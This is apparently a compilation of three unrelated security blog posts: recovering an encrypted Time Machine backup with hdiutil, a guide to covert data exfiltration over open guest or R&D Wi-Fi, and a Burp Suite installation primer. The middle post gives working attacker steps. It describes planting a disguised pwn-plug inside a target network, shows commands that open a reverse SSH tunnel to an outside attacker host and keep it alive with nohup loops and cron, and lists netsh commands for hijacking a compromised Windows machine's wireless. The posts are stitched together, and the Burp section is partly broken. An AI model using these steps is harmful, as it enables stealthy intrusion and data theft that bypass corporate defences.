Recovering Data From An Old Encrypted Time Machine Backup

Recovering data from a backup should be an easy thing to do. At least this is what you expect. Yesterday I had a problem which should have been easy to solve, but it was not. I hope this blog post can help others who face the same problem.

The problem

1. I had an encrypted Time Machine backup which was not used for months
2. This backup was not on an official Apple Time Capsule or on a USB HDD, but on a WD MyCloud NAS
3. I needed files from this backup
4. After running out of time I only had SSH access to the macOS, no GUI

The struggle

By default, Time Machine is one of the best and easiest backup solution I have seen. As long as you stick to the default use case, where you have one active backup disk, life is pink and happy. But this was not my case.

As always, I started to Google what shall I do. One of the first options recommended that I add the backup disk to Time Machine, and it will automagically show the backup snapshots from the old backup. Instead of this, it did not show the old snapshots but started to create a new backup. Panic button has been pressed, backup canceled, back to Google.

Other tutorials recommend to click on the Time Machine icon and pressing alt (Option) key, where I can choose "Browse other backup disks". But this did not list the old Time Machine backup. It did list the backup when selecting disks in Time Machine preferences, but I already tried and failed that way.

YAT (yet another tutorial) recommended to SSH into the NAS, and browse the backup disk, as it is just a simple directory where I can see all the files. But all the files inside where just a bunch of nonsense, no real directory structure.

YAT (yet another tutorial) recommended that I can just easily browse the content of the backup from the Finder by double-clicking on the sparse bundle file. After clicking on it, I can see the disk image on the left part of the Finder, attached as a new disk.
Well, this is true, but because of some bug, when you connect to the Time Capsule, you don't see the sparse bundle file. And I got inconsistent results, for the WD NAS, double-clicking on the sparse bundle did nothing. For the Time Capsule, it did work.
At this point, I had to leave the location where the backup was present, and I only had remote SSH access. You know, if you can't solve a problem, let's complicate things by restrict yourself in solutions.

Finally, I tried to check out some data forensics blogs, and besides some expensive tools, I could find the solution.

The solution

Finally, a blog post provided the real solution - hdiutil.
The best part of hdiutil is that you can provide the read-only flag to it. This can be very awesome when it comes to forensics acquisition.

To mount any NAS via SMB:

mount_smbfs afp://<username>@<NAS_IP>/<Share_for_backup> /<mountpoint>

To mount a Time Capsule share via AFP:

mount_afp afp://any_username:password@<Time_Capsule_IP>/<Share_for_backup> /<mountpoint>

And finally this command should do the job:

hdiutil attach test.sparsebundle -readonly

It is nice that you can provide read-only parameter.

If the backup was encrypted and you don't want to provide the password in a password prompt, use the following:

printf '%s' 'CorrectHorseBatteryStaple' | hdiutil attach test.sparsebundle -stdinpass -readonly

Note: if you receive the error "resource temporarily unavailable", probably another machine is backing up to the device

And now, you can find your backup disk under /Volumes. Happy restoring!

Probably it would have been quicker to either enable the remote GUI, or to physically travel to the system and login locally, but that would spoil the fun.

Backchannel Data Exfiltration Via Guest/R&D Wi-Fi

Often times I find unprotected wireless access points with unfettered access to the internet for research or guest access purposes. This is generally through an unauthenticated portal or a direct cable connection. When questioning the business units they explain a low value network, which is simply a internet pass thru separate from the internal network. This sounds reasonable and almost plausible however I usually explain the dangers of having company assets on an unprotected Wi-Fi and the dangers of client side exploits and MITM attacks. But there are a few other plausible scenarios one should be aware of that may scare you a bit more then the former discussion.

What about using OpenWifi as a backchannel data exfiltration medium?

An open Wi-Fi is a perfect data exfiltration medium for attackers to completely bypass egress filtering issues, DLP, proxy filtering issues and a whole bunch of other protection mechanisms in place to keep attackers from sending out shells and moving data between networks. This can easily be accomplished via dual homing your attack host utilizing multiple nic cards which are standard on almost all modern machines. Whether this is from physical access breach or via remote compromise the results can be deadly. Below are a few scenarios, which can lead to undetectable data exfiltration.

Scenario 1: (PwnPlug/Linux host with Wi-Fi adaptor)
The first useful scenario is when a physical perimeter has been breached and a small device from http://pwnieexpress.com/ known as a pwn-plug is installed into the target network or a linux host with a wireless card. I usually install pwn-plug's inside a closet or under a desk somewhere which is not visible and allows a network connection out to an attacker owned host. Typically its a good idea to label the small device as "IT property and Do Not Remove". This will keep a casual user from removing the device. However if there is network egress and proxy filtering present then our network connection may never reach a remote host. At this point your physical breach to gain network access to an impenetrable network perimeter will fail. Unless there happens to be an open cable Wi-Fi connection to an "inconsequential R&D network".

By simply attaching an Alpha card to the pwnplug you can connect to the R&D wireless network. You can then use this network as your outgoing connection and avoid corporate restrictions regarding outbound connections via metasploit or ssh. I have noticed that most clients these days are running heavy egress filtering and packet level protocol detection, which stops outbound connections. Rather then play the obfuscation game i prefer to bypass the restrictions all together using networks which have escaped corporate policy.

You can automate the following via a script if you wardrive the facility prior to entrance and gain insight into the open wireless network, or you can also configure the plug via serial connection on site provided you have time.

Connect to wifi:
ifconfig wlan0 up
iwconfig wlan0 essid [targetNetworkSSID]
dhclient wlan0

Run a reverse SSH tunnel:
ssh -R 3000:127.0.0.1:22 root@remoteHost.com

On the remote host you can retrieve your shell:
ssh -p 3000 User@localhost

Once you have authenticated with the pwnplug via your local host port forward you now have access into the internal network via an encrypted tunnel which will not be detected and fully bypass any corporate security restrictions. You can take this a bit further and setup some persistence in case the shell goes down.. This can be done via bash and nohup if you setup some ssh keys to handle authentication.. One example could be the following script:

Your bash script:
#---------------------
#!/bin/bash
while true
do
ssh -R 3000:127.0.0.1:22 root@remoteHost.com
sleep 10
done
#---------------------

Run this with nohup like this:
nohup ./shell.sh &

Another simple way would be to setup a cron job to run a script with your ssh command on a specified interval for example every 5 minutes like so:

Cron job for every 5 minutes:
*/5 * * * * /shell.sh

Scenario 2: (Remote Windows Compromise)
The second scenario is that of a compromised modern windows machine with a wireless card, this can be used to make a wireless connection outbound similar to the first scenario which will bypass restrictions by accessing an unrestricted network. As shown in "Vista Power Tools" paper written by Josh Wright you can use modern windows machines cards via the command line.
http://www.inguardians.com/pubs/Vista_Wireless_Power_Tools-Wright.pdf

Below are the commands to profile the networks and export a current profile then import a new profile for your target wireless network. Then from there you can connect and use that network to bypass corp restrictions provided that wireless network doesn't have its own restrictions.

Profile Victim machine and extract a wireless profile:
netsh wlan show interfaces
netsh wlan show networks mode=bssid
netsh wlan show profiles
netsh wlan export profile name="CorpNetwork"

Then modify that profile to meet the requirements needed for the R&D network and import it into the victim machine.

Upload a new profile and connect to the network:
netsh wlan add profile filename="R&D.xml"
netsh wlan show profiles
netsh wlan connect name="R&D"

If you check out Josh's excellent paper linked above you will also find ways of bridging between ethernet and wireless adaptors along with lots of other ideas and useful information.

I just got thinking the other day of ways to abuse so called guest or R&D networks and started writing down a few ideas based on scenarios which play out time and time again while penetration testing networks and running physical breach attacks. I hear all to often that a cable connection not linked to the corporate network is totally safe and I call bullshit on that.

BurpSuite Introduction & Installation

What is BurpSuite?
Burp Suite is a Java based Web Penetration Testing framework. It has become an industry standard suite of tools used by information security professionals. Burp Suite helps you identify vulnerabilities and verify attack vectors that are affecting web applications. Because of its popularity and breadth as well as depth of features, we have created this useful page as a collection of Burp Suite knowledge and information.

In its simplest form, Burp Suite can be classified as an Interception Proxy. While browsing their target application, a penetration tester can configure their internet browser to route traffic through the Burp Suite proxy server. Burp Suite then acts as a (sort of) Man In The Middle by capturing and analyzing each request to and from the target web application so that they can be analyzed.

Everyone has their favorite security tools, but when it comes to mobile and web applications I've always found myself looking BurpSuite . It always seems to have everything I need and for folks just getting started with web application testing it can be a challenge putting all of the pieces together. I'm just going to go through the installation to paint a good picture of how to get it up quickly.

BurpSuite is freely available with everything you need to get started and when you're ready to cut the leash, the professional version has some handy tools that can make the whole process a little bit easier. I'll also go through how to install FoxyProxy which makes it much easier to change your proxy setup, but we'll get into that a little later.

Requirements and assumptions:

Mozilla Firefox 3.1 or Later Knowledge of Firefox Add-ons and installation The Java Runtime Environment installed

Download BurpSuite from http://portswigger.net/burp/download.htmland make a note of where you save it.

on for Firefox from https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

If this is your first time running the JAR file, it may take a minute or two to load, so be patient and wait.

Video for setup and installation.

You need to install compatible version of java , So that you can run BurpSuite.
